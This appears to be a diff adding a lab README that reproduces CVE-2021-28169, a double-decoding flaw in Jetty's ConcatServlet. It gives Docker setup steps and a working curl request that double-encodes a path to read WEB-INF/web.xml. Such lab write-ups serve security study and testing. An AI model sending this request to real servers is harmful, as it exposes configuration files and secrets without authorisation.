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+# Jetty Utility Servlets ConcatServlet Double Decoding Information Disclosure Vulnerability (CVE-2021-28169)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Eclipse Jetty is a Java web server and Java Servlet container.
+
+Before version 9.4.40, 10.0.2, 11.0.2, the `ConcatServlet` and `WelcomeFilter` classes in Jetty Servlets are influenced by a double decoding bug. If developers use these two classes manually, attackers can use them to download arbitrary sensitive files in the WEB-INF directory.
+
+Reference links.
+
+- https://github.com/eclipse/jetty.project/security/advisories/GHSA-gwcr-j4wh-j3cq
+
+## Vulnerable Application
+
+Execute the following command to start a Jetty 9.4.40 server.
+
+```
+docker compose up -d
+```
+
+After the server starts, visit ``http://your-ip:8080`` to see an example page. This page uses the `ConcatServlet` to optimize the loading of static files:
+
+```
+<link rel="stylesheet" href="/static?/css/base.css&/css/app.css">
+```
+
+## Exploit
+
+The sensitive file web.xml is not accessible through `/static?/WEB-INF/web.xml`.
+
+![](1.png)
+
+Double URL encoding `W` to bypass the restriction:
+
+```
+curl -v 'http://your-ip:8080/static?/%2557EB-INF/web.xml'
+```
+
+![](2.png)